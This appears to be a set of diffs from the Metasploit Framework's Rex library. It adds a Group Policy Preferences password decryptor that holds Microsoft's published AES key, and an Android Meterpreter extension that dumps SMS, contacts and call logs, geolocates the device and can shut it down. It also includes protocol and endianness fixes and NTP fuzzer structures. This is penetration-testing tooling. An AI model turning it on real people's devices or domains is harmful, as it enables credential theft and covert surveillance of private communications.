:between?, :squeeze!, :to_s, :chomp, :bytes, :clear, :!~, :to_i, :valid_encoding?, :===,
:tr, :downcase!, :scan, :sub!, :each_codepoint, :reverse!, :class, :size, :empty?, :byteslice,
:initialize_clone, :to_str, :to_enum, :tap, :tr!, :trust, :encode!, :sub, :oct, :succ, :index,
:[]=, :encode, :*, :hex, :to_f, :strip!, :rpartition, :ord, :capitalize, :upto, :force_encoding,
:end_with?
def initialize(code)
@code = ''
@rig = Rex::RandomIdentifierGenerator.new
begin
# Open code file for reading
fd = ::File.new(code, 'rb')
while (line = fd.gets)
@code << line
end
# Close open file
fd.close
rescue Errno::ENAMETOOLONG, Errno::ENOENT
# Treat code as a... code
@code = code.to_s.dup # in case we're eating another script
end
@functions = get_func_names.map { |f| get_func(f) }
end
##
# Class methods
##
#
# Convert binary to byte array, read from file if able
#
# @param input_data [String] Path to powershell file or powershell
# code string
# @param var_name [String] Byte array variable name
#
# @return [String] input_data as a powershell byte array
def self.to_byte_array(input_data, var_name = Rex::Text.rand_text_alpha(rand(3) + 3))
# File will raise an exception if the path contains null byte
if input_data.include? "\x00"
code = input_data
else
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
end
code = code.unpack('C*')
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
lines = []
1.upto(code.length - 1) do |byte|
if (byte % 10 == 0)
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
else
lines.push ",0x#{code[byte].to_s(16)}"
end
end
psh << lines.join('') + "\r\n"
end
#
# Return list of code modifier methods
#
# @return [Array] Code modifiers
def self.code_modifiers
instance_methods.select { |m| m =~ /^(strip|sub)/ }
end
end # class Script
end
end
end

View File

@ -124,7 +124,7 @@ class Util
def self.getUnicodeString(buf)
buf = buf.unpack('S*').pack('C*')
buf = buf.unpack('v*').pack('C*')
if (idx = buf.index(0x00.chr))
buf.slice!(idx, buf.length)
end
@ -132,7 +132,7 @@ class Util
end
def self.putUnicodeString(buf)
buf = buf.unpack('C*').pack('S*')
buf = buf.unpack('C*').pack('v*')
if (buf.length < 0x40)
buf << "\x00" * (0x40 - buf.length)
end

View File

@ -0,0 +1,185 @@
# -*- coding: binary -*-
#
module Rex
module Parser
# This is a parser for the Windows Group Policy Preferences file
# format. It's used by modules/post/windows/gather/credentials/gpp.rb
# and uses REXML (as opposed to Nokogiri) for its XML parsing.
# See: http://msdn.microsoft.com/en-gb/library/cc232587.aspx
class GPP
require 'rex'
require 'rexml/document'
def self.parse(data)
if data.nil?
return []
end
xml = REXML::Document.new(data).root
results = []
unless xml and xml.elements and xml.elements.to_a("//Properties")
return []
end
xml.elements.to_a("//Properties").each do |node|
epassword = node.attributes['cpassword']
next if epassword.to_s.empty?
password = self.decrypt(epassword)
user = node.attributes['runAs'] if node.attributes['runAs']
user = node.attributes['accountName'] if node.attributes['accountName']
user = node.attributes['username'] if node.attributes['username']
user = node.attributes['userName'] if node.attributes['userName']
user = node.attributes['newName'] unless node.attributes['newName'].nil? || node.attributes['newName'].empty?
changed = node.parent.attributes['changed']
# Printers and Shares
path = node.attributes['path']
# Datasources
dsn = node.attributes['dsn']
driver = node.attributes['driver']
# Tasks
app_name = node.attributes['appName']
# Services
service = node.attributes['serviceName']
# Groups
expires = node.attributes['expires']
never_expires = node.attributes['neverExpires']
disabled = node.attributes['acctDisabled']
result = {
:USER => user,
:PASS => password,
:CHANGED => changed
}
result.merge!({ :EXPIRES => expires }) unless expires.nil? || expires.empty?
result.merge!({ :NEVER_EXPIRES => never_expires.to_i }) unless never_expires.nil? || never_expires.empty?
result.merge!({ :DISABLED => disabled.to_i }) unless disabled.nil? || disabled.empty?
result.merge!({ :PATH => path }) unless path.nil? || path.empty?
result.merge!({ :DATASOURCE => dsn }) unless dsn.nil? || dsn.empty?
result.merge!({ :DRIVER => driver }) unless driver.nil? || driver.empty?
result.merge!({ :TASK => app_name }) unless app_name.nil? || app_name.empty?
result.merge!({ :SERVICE => service }) unless service.nil? || service.empty?
attributes = []
node.elements.each('//Attributes//Attribute') do |dsn_attribute|
attributes << {
:A_NAME => dsn_attribute.attributes['name'],
:A_VALUE => dsn_attribute.attributes['value']
}
end
result.merge!({ :ATTRIBUTES => attributes }) unless attributes.empty?
results << result
end
results
end
def self.create_tables(results, filetype, domain=nil, dc=nil)
tables = []
results.each do |result|
table = Rex::Ui::Text::Table.new(
'Header' => 'Group Policy Credential Info',
'Indent' => 1,
'SortIndex' => -1,
'Columns' =>
[
'Name',
'Value',
]
)
table << ["TYPE", filetype]
table << ["USERNAME", result[:USER]]
table << ["PASSWORD", result[:PASS]]
table << ["DOMAIN CONTROLLER", dc] unless dc.nil? || dc.empty?
table << ["DOMAIN", domain] unless domain.nil? || domain.empty?
table << ["CHANGED", result[:CHANGED]]
table << ["EXPIRES", result[:EXPIRES]] unless result[:EXPIRES].nil? || result[:EXPIRES].empty?
table << ["NEVER_EXPIRES?", result[:NEVER_EXPIRES]] unless result[:NEVER_EXPIRES].nil?
table << ["DISABLED", result[:DISABLED]] unless result[:DISABLED].nil?
table << ["PATH", result[:PATH]] unless result[:PATH].nil? || result[:PATH].empty?
table << ["DATASOURCE", result[:DSN]] unless result[:DSN].nil? || result[:DSN].empty?
table << ["DRIVER", result[:DRIVER]] unless result[:DRIVER].nil? || result[:DRIVER].empty?
table << ["TASK", result[:TASK]] unless result[:TASK].nil? || result[:TASK].empty?
table << ["SERVICE", result[:SERVICE]] unless result[:SERVICE].nil? || result[:SERVICE].empty?
unless result[:ATTRIBUTES].nil? || result[:ATTRIBUTES].empty?
result[:ATTRIBUTES].each do |dsn_attribute|
table << ["ATTRIBUTE", "#{dsn_attribute[:A_NAME]} - #{dsn_attribute[:A_VALUE]}"]
end
end
tables << table
end
tables
end
# Decrypts passwords using Microsoft's published key:
# http://msdn.microsoft.com/en-us/library/cc422924.aspx
def self.decrypt(encrypted_data)
password = ""
return password unless encrypted_data
password = ""
retries = 0
original_data = encrypted_data.dup
begin
mod = encrypted_data.length % 4
# PowerSploit code strips the last character, unsure why...
case mod
when 1
encrypted_data = encrypted_data[0..-2]
when 2, 3
padding = '=' * (4 - mod)
encrypted_data = "#{encrypted_data}#{padding}"
end
# Strict base64 decoding used here
decoded = encrypted_data.unpack('m0').first
rescue ::ArgumentError => e
# Appears to be some junk UTF-8 Padding appended at times in
# Win2k8 (not in Win2k8R2)
# Lets try stripping junk and see if we can decrypt
if retries < 8
retries += 1
original_data = original_data[0..-2]
encrypted_data = original_data
retry
else
return password
end
end
key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
begin
aes.decrypt
aes.key = key
plaintext = aes.update(decoded)
plaintext << aes.final
password = plaintext.unpack('v*').pack('C*') # UNICODE conversion
rescue OpenSSL::Cipher::CipherError => e
puts "Unable to decode: \"#{encrypted_data}\" Exception: #{e}"
end
password
end
end
end
end

View File

@ -0,0 +1,128 @@
#!/usr/bin/env ruby
# -*- coding: binary -*-
require 'rex/post/meterpreter/extensions/android/tlv'
require 'rex/post/meterpreter/packet'
require 'rex/post/meterpreter/client'
require 'rex/post/meterpreter/channels/pools/stream_pool'
module Rex
module Post
module Meterpreter
module Extensions
module Android
###
# Android extension - set of commands to be executed on android devices.
# extension by Anwar Mohamed (@anwarelmakrahy)
###
class Android < Extension
def initialize(client)
super(client, 'android')
# Alias the following things on the client object so that they
# can be directly referenced
client.register_extension_aliases(
[
{
'name' => 'android',
'ext' => self
},
])
end
def device_shutdown(n)
request = Packet.create_request('device_shutdown')
request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n)
response = client.send_request(request)
return response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value
end
def dump_sms
sms = Array.new
request = Packet.create_request('dump_sms')
response = client.send_request(request)
response.each( TLV_TYPE_SMS_GROUP ) { |p|
sms <<
{
'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value),
'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value),
'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish,
'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value),
'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value)
}
}
return sms
end
def dump_contacts
contacts = Array.new
request = Packet.create_request('dump_contacts')
response = client.send_request(request)
response.each( TLV_TYPE_CONTACT_GROUP ) { |p|
contacts <<
{
'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value),
'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)),
'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER))
}
}
return contacts
end
def geolocate
loc = Array.new
request = Packet.create_request('geolocate')
response = client.send_request(request)
loc <<
{
'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value),
'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value)
}
return loc
end
def dump_calllog
log = Array.new
request = Packet.create_request('dump_calllog')
response = client.send_request(request)
response.each(TLV_TYPE_CALLLOG_GROUP) { |p|
log <<
{
'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value),
'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value),
'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value),
'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value),
'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value)
}
}
return log
end
def check_root
request = Packet.create_request('check_root')
response = client.send_request(request)
response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value
end
end
end
end
end
end
end

View File

@ -0,0 +1,40 @@
#!/usr/bin/env ruby
# -*- coding: binary -*-
module Rex
module Post
module Meterpreter
module Extensions
module Android
TLV_TYPE_SMS_ADDRESS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9001)
TLV_TYPE_SMS_BODY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9002)
TLV_TYPE_SMS_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9003)
TLV_TYPE_SMS_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9004)
TLV_TYPE_SMS_STATUS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9005)
TLV_TYPE_SMS_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9006)
TLV_TYPE_CONTACT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9007)
TLV_TYPE_CONTACT_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9008)
TLV_TYPE_CONTACT_EMAIL = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9009)
TLV_TYPE_CONTACT_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9010)
TLV_TYPE_GEO_LAT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9011)
TLV_TYPE_GEO_LONG = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9012)
TLV_TYPE_CALLLOG_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9013)
TLV_TYPE_CALLLOG_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9014)
TLV_TYPE_CALLLOG_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9015)
TLV_TYPE_CALLLOG_DURATION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9016)
TLV_TYPE_CALLLOG_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9017)
TLV_TYPE_CALLLOG_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9018)
TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019)
TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020)
end
end
end
end
end

View File

@ -0,0 +1,32 @@
# -*- coding: binary -*-
module Rex
module Post
module Meterpreter
module Extensions
module Stdapi
module Railgun
module Def
class Def_psapi
def self.create_dll(dll_path = 'psapi')
dll = DLL.new(dll_path, ApiConstants.manager)
dll.add_function('EnumDeviceDrivers', 'BOOL',[
%w(PBLOB lpImageBase out),
%w(DWORD cb in),
%w(PDWORD lpcbNeeded out)
])
dll.add_function('GetDeviceDriverBaseNameA', 'DWORD', [
%w(LPVOID ImageBase in),
%w(PBLOB lpBaseName out),
%w(DWORD nSize in)
])
return dll
end
end
end; end; end; end; end; end; end

View File

@ -120,7 +120,7 @@ class DLL
raise "#{function.params.length} arguments expected. #{args.length} arguments provided." unless args.length == function.params.length
if( client.platform =~ /x64/i )
native = 'Q'
native = 'Q<'
else
native = 'V'
end
@ -153,12 +153,12 @@ class DLL
buffer_size = args[param_idx]
if param_desc[0] == "PDWORD"
# bump up the size for an x64 pointer
if( native == 'Q' and buffer_size == 4 )
if( native == 'Q<' and buffer_size == 4 )
args[param_idx] = 8
buffer_size = args[param_idx]
end
if( native == 'Q' )
if( native == 'Q<' )
raise "Please pass 8 for 'out' PDWORDS, since they require a buffer of size 8" unless buffer_size == 8
elsif( native == 'V' )
raise "Please pass 4 for 'out' PDWORDS, since they require a buffer of size 4" unless buffer_size == 4
@ -288,7 +288,7 @@ class DLL
#process return value
case function.return_type
when "LPVOID", "HANDLE"
if( native == 'Q' )
if( native == 'Q<' )
return_hash["return"] = rec_return_value
else
return_hash["return"] = rec_return_value % 4294967296
@ -318,7 +318,7 @@ class DLL
buffer = rec_out_only_buffers[buffer_item.addr, buffer_item.length_in_bytes]
case buffer_item.datatype
when "PDWORD"
return_hash[param_name] = buffer.unpack('V')[0]
return_hash[param_name] = buffer.unpack(native)[0]
when "PCHAR"
return_hash[param_name] = asciiz_to_str(buffer)
when "PWCHAR"
@ -338,7 +338,7 @@ class DLL
buffer = rec_inout_buffers[buffer_item.addr, buffer_item.length_in_bytes]
case buffer_item.datatype
when "PDWORD"
return_hash[param_name] = buffer.unpack('V')[0]
return_hash[param_name] = buffer.unpack(native)[0]
when "PCHAR"
return_hash[param_name] = asciiz_to_str(buffer)
when "PWCHAR"

View File

@ -50,7 +50,7 @@ class MultiCaller
@win_consts = win_consts
if( @client.platform =~ /x64/i )
@native = 'Q'
@native = 'Q<'
else
@native = 'V'
end
@ -102,12 +102,12 @@ class MultiCaller
raise "error in param #{param_desc[1]}: Out-only buffers must be described by a number indicating their size in bytes " unless args[param_idx].class == Fixnum
buffer_size = args[param_idx]
# bump up the size for an x64 pointer
if( @native == 'Q' and buffer_size == 4 )
if( @native == 'Q<' and buffer_size == 4 )
args[param_idx] = 8
buffer_size = args[param_idx]
end
if( @native == 'Q' )
if( @native == 'Q<' )
raise "Please pass 8 for 'out' PDWORDS, since they require a buffer of size 8" unless buffer_size == 8
elsif( @native == 'V' )
raise "Please pass 4 for 'out' PDWORDS, since they require a buffer of size 4" unless buffer_size == 4
@ -242,7 +242,7 @@ class MultiCaller
#process return value
case function.return_type
when "LPVOID", "HANDLE"
if( @native == 'Q' )
if( @native == 'Q<' )
return_hash["return"] = rec_return_value
else
return_hash["return"] = rec_return_value % 4294967296

View File

@ -78,7 +78,8 @@ class Railgun
'crypt32',
'wlanapi',
'wldap32',
'version'
'version',
'psapi'
].freeze
##

View File

@ -27,8 +27,8 @@ module PointerUtil
case platform
when PlatformUtil::X86_64
# XXX: Only works if attacker and victim are like-endianed
[pointer].pack('Q')
# Assume little endian
[pointer].pack('Q<')
when PlatformUtil::X86_32
[pointer].pack('V')
else
@ -40,8 +40,8 @@ module PointerUtil
def self.unpack_pointer(packed_pointer, platform)
case platform
when PlatformUtil::X86_64
# XXX: Only works if attacker and victim are like-endianed
packed_pointer.unpack('Q').first
# Assume little endian
packed_pointer.unpack('Q<').first
when PlatformUtil::X86_32
packed_pointer.unpack('V').first
else

View File

@ -324,8 +324,8 @@ class Util
#
def unpack_pointer(packed_pointer)
if is_64bit
# XXX: Only works if attacker and victim are like-endianed
packed_pointer.unpack('Q')[0]
# Assume little endian
packed_pointer.unpack('Q<')[0]
else
packed_pointer.unpack('V')[0]
end
@ -452,9 +452,9 @@ class Util
# Both on x86 and x64, DWORD is 32 bits
return raw.unpack('V').first
when :BOOL
return raw.unpack('l').first == 1
return raw.unpack('V').first == 1
when :LONG
return raw.unpack('l').first
return raw.unpack('V').first
end
#If nothing worked thus far, return it raw

View File

@ -251,7 +251,7 @@ class Tlv
elsif (self.type & TLV_META_TYPE_UINT == TLV_META_TYPE_UINT)
raw = [value].pack("N")
elsif (self.type & TLV_META_TYPE_QWORD == TLV_META_TYPE_QWORD)
raw = [ self.htonq( value.to_i ) ].pack("Q")
raw = [ self.htonq( value.to_i ) ].pack("Q<")
elsif (self.type & TLV_META_TYPE_BOOL == TLV_META_TYPE_BOOL)
if (value == true)
raw = [1].pack("c")
@ -312,7 +312,7 @@ class Tlv
elsif (self.type & TLV_META_TYPE_UINT == TLV_META_TYPE_UINT)
self.value = raw.unpack("NNN")[2]
elsif (self.type & TLV_META_TYPE_QWORD == TLV_META_TYPE_QWORD)
self.value = raw.unpack("NNQ")[2]
self.value = raw.unpack("NNQ<")[2]
self.value = self.ntohq( self.value )
elsif (self.type & TLV_META_TYPE_BOOL == TLV_META_TYPE_BOOL)
self.value = raw.unpack("NNc")[2]
@ -335,7 +335,7 @@ class Tlv
if( [1].pack( 's' ) == [1].pack( 'n' ) )
return value
end
return [ value ].pack( 'Q' ).reverse.unpack( 'Q' ).first
return [ value ].pack( 'Q<' ).reverse.unpack( 'Q<' ).first
end
def ntohq( value )

View File

@ -106,6 +106,8 @@ class Console
log_error("Operation timed out.")
rescue RequestError => info
log_error(info.to_s)
rescue Rex::AddressInUse => e
log_error(e.message)
rescue ::Errno::EPIPE, ::OpenSSL::SSL::SSLError, ::IOError
self.client.kill
rescue ::Exception => e

View File

@ -0,0 +1,383 @@
# -*- coding: binary -*-
require 'rex/post/meterpreter'
require 'msf/core/auxiliary/report'
module Rex
module Post
module Meterpreter
module Ui
###
# Android extension - set of commands to be executed on android devices.
# extension by Anwar Mohamed (@anwarelmakrahy)
###
class Console::CommandDispatcher::Android
include Console::CommandDispatcher
include Msf::Auxiliary::Report
#
# List of supported commands.
#
def commands
all = {
'dump_sms' => 'Get sms messages',
'dump_contacts' => 'Get contacts list',
'geolocate' => 'Get current lat-long using geolocation',
'dump_calllog' => 'Get call log',
'check_root' => 'Check if device is rooted',
'device_shutdown' => 'Shutdown device'
}
reqs = {
'dump_sms' => [ 'dump_sms' ],
'dump_contacts' => [ 'dump_contacts' ],
'geolocate' => [ 'geolocate' ],
'dump_calllog' => [ 'dump_calllog' ],
'check_root' => [ 'check_root' ],
'device_shutdown' => [ 'device_shutdown']
}
# Ensure any requirements of the command are met
all.delete_if do |cmd, desc|
reqs[cmd].any? { |req| not client.commands.include?(req) }
end
end
def cmd_device_shutdown(*args)
seconds = 0
device_shutdown_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-t' => [ false, 'Shutdown after n seconds']
)
device_shutdown_opts.parse(args) { | opt, idx, val |
case opt
when '-h'
print_line('Usage: device_shutdown [options]')
print_line('Shutdown device.')
print_line(device_shutdown_opts.usage)
return
when '-t'
seconds = val.to_i
end
}
res = client.android.device_shutdown(seconds)
if res
print_status("Device will shutdown #{seconds > 0 ?('after ' + seconds + ' seconds'):'now'}")
else
print_error('Device shutdown failed')
end
end
def cmd_dump_sms(*args)
path = "sms_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
dump_sms_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-o' => [ false, 'Output path for sms list']
)
dump_sms_opts.parse(args) { | opt, idx, val |
case opt
when '-h'
print_line('Usage: dump_sms [options]')
print_line('Get sms messages.')
print_line(dump_sms_opts.usage)
return
when '-o'
path = val
end
}
smsList = []
smsList = client.android.dump_sms
if smsList.count > 0
print_status("Fetching #{smsList.count} sms #{smsList.count == 1? 'message': 'messages'}")
begin
info = client.sys.config.sysinfo
data = ""
data << "\n=====================\n"
data << "[+] Sms messages dump\n"
data << "=====================\n\n"
time = Time.new
data << "Date: #{time.inspect}\n"
data << "OS: #{info['OS']}\n"
data << "Remote IP: #{client.sock.peerhost}\n"
data << "Remote Port: #{client.sock.peerport}\n\n"
smsList.each_with_index { |a, index|
data << "##{index.to_i + 1}\n"
type = 'Unknown'
if a['type'] == '1'
type = 'Incoming'
elsif a['type'] == '2'
type = 'Outgoing'
end
status = 'Unknown'
if a['status'] == '-1'
status = 'NOT_RECEIVED'
elsif a['status'] == '1'
status = 'SME_UNABLE_TO_CONFIRM'
elsif a['status'] == '0'
status = 'SUCCESS'
elsif a['status'] == '64'
status = 'MASK_PERMANENT_ERROR'
elsif a['status'] == '32'
status = 'MASK_TEMPORARY_ERROR'
elsif a['status'] == '2'
status = 'SMS_REPLACED_BY_SC'
end
data << "Type\t: #{type}\n"
time = a['date'].to_i / 1000
time = Time.at(time)
data << "Date\t: #{time.strftime('%Y-%m-%d %H:%M:%S')}\n"
data << "Address\t: #{a['address']}\n"
data << "Status\t: #{status}\n"
data << "Message\t: #{a['body']}\n\n"
}
::File.write(path, data)
print_status("Sms #{smsList.count == 1? 'message': 'messages'} saved to: #{path}")
return true
rescue
print_error("Error getting messages: #{$!}")
return false
end
else
print_status('No sms messages were found!')
return false
end
end
def cmd_dump_contacts(*args)
path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
dump_contacts_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-o' => [ false, 'Output path for contacts list']
)
dump_contacts_opts.parse(args) { | opt, idx, val |
case opt
when '-h'
print_line('Usage: dump_contacts [options]')
print_line('Get contacts list.')
print_line(dump_contacts_opts.usage)
return
when '-o'
path = val
end
}
contactList = []
contactList = client.android.dump_contacts
if contactList.count > 0
print_status("Fetching #{contactList.count} #{contactList.count == 1? 'contact': 'contacts'} into list")
begin
info = client.sys.config.sysinfo
data = ""
data << "\n======================\n"
data << "[+] Contacts list dump\n"
data << "======================\n\n"
time = Time.new
data << "Date: #{time.inspect}\n"
data << "OS: #{info['OS']}\n"
data << "Remote IP: #{client.sock.peerhost}\n"
data << "Remote Port: #{client.sock.peerport}\n\n"
contactList.each_with_index { |c, index|
data << "##{index.to_i + 1}\n"
data << "Name\t: #{c['name']}\n"
if c['number'].count > 0
(c['number']).each { |n|
data << "Number\t: #{n}\n"
}
end
if c['email'].count > 0
(c['email']).each { |n|
data << "Email\t: #{n}\n"
}
end
data << "\n"
}
::File.write(path, data)
print_status("Contacts list saved to: #{path}")
return true
rescue
print_error("Error getting contacts list: #{$!}")
return false
end
else
print_status('No contacts were found!')
return false
end
end
def cmd_geolocate(*args)
generate_map = false
geolocate_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-g' => [ false, 'Generate map using google-maps']
)
geolocate_opts.parse(args) { | opt, idx, val |
case opt
when '-h'
print_line('Usage: geolocate [options]')
print_line('Get current location using geolocation.')
print_line(geolocate_opts.usage)
return
when '-g'
generate_map = true
end
}
geo = client.android.geolocate
print_status('Current Location:')
print_line("\tLatitude: #{geo[0]['lat']}")
print_line("\tLongitude: #{geo[0]['long']}\n")
print_line("To get the address: https://maps.googleapis.com/maps/api/geocode/json?latlng=#{geo[0]['lat'].to_f},#{geo[0]['long'].to_f}&sensor=true\n")
if generate_map
link = "https://maps.google.com/maps?q=#{geo[0]['lat'].to_f},#{geo[0]['long'].to_f}"
print_status("Generated map on google-maps:")
print_status(link)
Rex::Compat.open_browser(link)
end
end
def cmd_dump_calllog(*args)
path = "calllog_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
dump_calllog_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-o' => [ false, 'Output path for call log']
)
dump_calllog_opts.parse(args) { | opt, idx, val |
case opt
when '-h'
print_line('Usage: dump_calllog [options]')
print_line('Get call log.')
print_line(dump_calllog_opts.usage)
return
when '-o'
path = val
end
}
log = client.android.dump_calllog
if log.count > 0
print_status("Fetching #{log.count} #{log.count == 1? 'entry': 'entries'}")
begin
info = client.sys.config.sysinfo
data = ""
data << "\n=================\n"
data << "[+] Call log dump\n"
data << "=================\n\n"
time = Time.new
data << "Date: #{time.inspect}\n"
data << "OS: #{info['OS']}\n"
data << "Remote IP: #{client.sock.peerhost}\n"
data << "Remote Port: #{client.sock.peerport}\n\n"
log.each_with_index { |a, index|
data << "##{index.to_i + 1}\n"
data << "Number\t: #{a['number']}\n"
data << "Name\t: #{a['name']}\n"
data << "Date\t: #{a['date']}\n"
data << "Type\t: #{a['type']}\n"
data << "Duration: #{a['duration']}\n\n"
}
::File.write(path, data)
print_status("Call log saved to #{path}")
return true
rescue
print_error("Error getting call log: #{$!}")
return false
end
else
print_status('No call log entries were found!')
return false
end
end
def cmd_check_root(*args)
check_root_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ]
)
check_root_opts.parse(args) { | opt, idx, val |
case opt
when '-h'
print_line('Usage: check_root [options]')
print_line('Check if device is rooted.')
print_line(check_root_opts.usage)
return
end
}
is_rooted = client.android.check_root
if is_rooted
print_good('Device is rooted')
elsif
print_status('Device is not rooted')
end
end
#
# Name for this dispatcher
#
def name
'Android'
end
end
end
end
end
end

View File

@ -34,7 +34,7 @@ class NDR
# byte element_1;
def self.byte(string)
warn 'should be using Rex::Encoder::NDR'
return [string].pack('c')
return [string].pack('C')
end
# Encode a byte array

View File

@ -19,7 +19,7 @@ module NATPMP
# Parse a NAT-PMP external address response +resp+.
# Returns the decoded parts of the response as an array.
def self.parse_external_address_response(resp)
(ver, op, result, epoch, addr) = resp.unpack("CCSLN")
(ver, op, result, epoch, addr) = resp.unpack("CCvVN")
[ ver, op, result, epoch, Rex::Socket::addr_itoa(addr) ]
end
@ -31,13 +31,13 @@ module NATPMP
lport,
rport,
lifetime
].pack("ccnnnN")
].pack("CCnnnN")
end
# Parse a NAT-PMP mapping response +resp+.
# Returns the decoded parts as an array.
def self.parse_map_port_response(resp)
resp.unpack("CCSLnnN")
resp.unpack("CCvVnnN")
end
end

3
lib/rex/proto/ntp.rb Normal file
View File

@ -0,0 +1,3 @@
# -*- coding: binary -*-
require 'rex/proto/ntp/constants'
require 'rex/proto/ntp/modes'

View File

@ -0,0 +1,12 @@
# -*- coding: binary -*-
module Rex
module Proto
module NTP
VERSIONS = (0..7).to_a
MODES = (0..7).to_a
MODE_6_OPERATIONS = (0..31).to_a
MODE_7_IMPLEMENTATIONS = (0..255).to_a
MODE_7_REQUEST_CODES = (0..255).to_a
end
end
end

130
lib/rex/proto/ntp/modes.rb Normal file
View File

@ -0,0 +1,130 @@
# -*- coding: binary -*-
require 'bit-struct'
module Rex
module Proto
module NTP
# A very generic NTP message
#
# Uses the common/similar parts from versions 1-4 and considers everything
# after to be just one big field. For the particulars on the different versions,
# see:
# http://tools.ietf.org/html/rfc958#appendix-B
# http://tools.ietf.org/html/rfc1059#appendix-B
# pages 45/48 of http://tools.ietf.org/pdf/rfc1119.pdf
# http://tools.ietf.org/html/rfc1305#appendix-D
# http://tools.ietf.org/html/rfc5905#page-19
class NTPGeneric < BitStruct
# 0 1 2 3
# 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
# |LI | VN | mode| Stratum | Poll | Precision |
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
unsigned :li, 2, default: 0
unsigned :version, 3, default: 0
unsigned :mode, 3, default: 0
unsigned :stratum, 8, default: 0
unsigned :poll, 8, default: 0
unsigned :precision, 8, default: 0
rest :payload
end
# An NTP control message. Control messages are only specified for NTP
# versions 2-4, but this is a fuzzer so why not try them all...
class NTPControl < BitStruct
# 0 1 2 3
# 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
# |00 | VN | 6 |R E M| op | Sequence |
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
# | status | association id |
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
# | offset | count |
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
unsigned :reserved, 2, default: 0
unsigned :version, 3, default: 0
unsigned :mode, 3, default: 6
unsigned :response, 1, default: 0
unsigned :error, 1, default: 0
unsigned :more, 1, default: 0
unsigned :operation, 5, default: 0
unsigned :sequence, 16, default: 0
unsigned :status, 16, default: 0
unsigned :association_id, 16, default: 0
# TODO: there *must* be bugs in the handling of these next two fields!
unsigned :payload_offset, 16, default: 0
unsigned :payload_size, 16, default: 0
